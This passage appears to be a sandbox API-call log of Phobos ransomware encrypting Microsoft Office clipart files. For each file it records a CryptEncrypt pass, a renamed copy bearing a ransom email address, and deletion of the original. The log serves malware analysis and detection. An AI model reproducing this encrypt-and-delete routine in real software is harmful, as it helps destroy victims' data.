office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.307] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.308] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.308] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0058.308] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.308] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1e7c, lpOverlapped=0x0) returned 1 [0058.331] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1e80) returned 1 [0058.331] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1e80, lpOverlapped=0x0) returned 1 [0058.332] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0058.332] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.332] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.332] CryptDestroyKey (hKey=0x10d170) returned 1 [0058.332] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.333] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0058.333] CloseHandle (hObject=0x318) returned 1 [0058.333] CloseHandle (hObject=0x304) returned 1 [0058.333] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0058.335] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.335] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2492) returned 1 [0058.335] CloseHandle (hObject=0x304) returned 1 [0058.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0058.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.336] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.336] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.336] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0058.336] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.336] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x9bc, lpOverlapped=0x0) returned 1 [0058.358] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x9c0) returned 1 [0058.358] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x9c0, lpOverlapped=0x0) returned 1 [0058.359] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccb0) returned 1 [0058.359] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.359] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.359] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0058.360] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.360] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.360] CloseHandle (hObject=0x304) returned 1 [0058.360] CloseHandle (hObject=0x318) returned 1 [0058.361] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0058.362] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.362] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3348) returned 1 [0058.362] CloseHandle (hObject=0x318) returned 1 [0058.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0058.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.363] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.363] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.364] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0058.364] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.364] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xd14, lpOverlapped=0x0) returned 1 [0058.374] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xd20, dwBufLen=0xd20 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xd20) returned 1 [0058.374] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xd20, lpOverlapped=0x0) returned 1 [0058.375] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0058.375] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.375] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.375] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.375] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.375] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0058.375] CloseHandle (hObject=0x318) returned 1 [0058.375] CloseHandle (hObject=0x304) returned 1 [0058.378] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0058.379] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.380] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3228) returned 1 [0058.380] CloseHandle (hObject=0x304) returned 1 [0058.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0058.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.380] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.380] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.380] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cc30) returned 1 [0058.380] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.380] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xc9c, lpOverlapped=0x0) returned 1 [0058.391] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xca0, dwBufLen=0xca0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xca0) returned 1 [0058.391] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xca0, lpOverlapped=0x0) returned 1 [0058.392] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cb30) returned 1 [0058.392] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.392] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.392] CryptDestroyKey (hKey=0x10cb30) returned 1 [0058.392] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.392] CryptDestroyKey (hKey=0x10cc30) returned 1 [0058.392] CloseHandle (hObject=0x304) returned 1 [0058.392] CloseHandle (hObject=0x318) returned 1 [0058.394] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0058.395] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.400] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=4996) returned 1 [0058.400] CloseHandle (hObject=0x308) returned 1 [0058.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0058.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.401] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.401] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.565] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cfb0) returned 1 [0058.565] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.565] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1384, lpOverlapped=0x0) returned 1 [0058.567] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1390, dwBufLen=0x1390 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1390) returned 1 [0058.567] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1390, lpOverlapped=0x0) returned 1 [0058.568] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbb0) returned 1 [0058.568] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.568] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.568] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0058.568] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.568] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0058.568] CloseHandle (hObject=0x308) returned 1 [0058.568] CloseHandle (hObject=0x318) returned 1 [0058.569] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0058.570] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.571] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=4870) returned 1 [0058.571] CloseHandle (hObject=0x318) returned 1 [0058.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0058.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.571] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.571] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.571] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cfb0) returned 1 [0058.572] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.572] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1306, lpOverlapped=0x0) returned 1 [0058.593] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1310, dwBufLen=0x1310 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1310) returned 1 [0058.594] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1310, lpOverlapped=0x0) returned 1 [0058.595] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ce70) returned 1 [0058.595] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.595] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.595] CryptDestroyKey 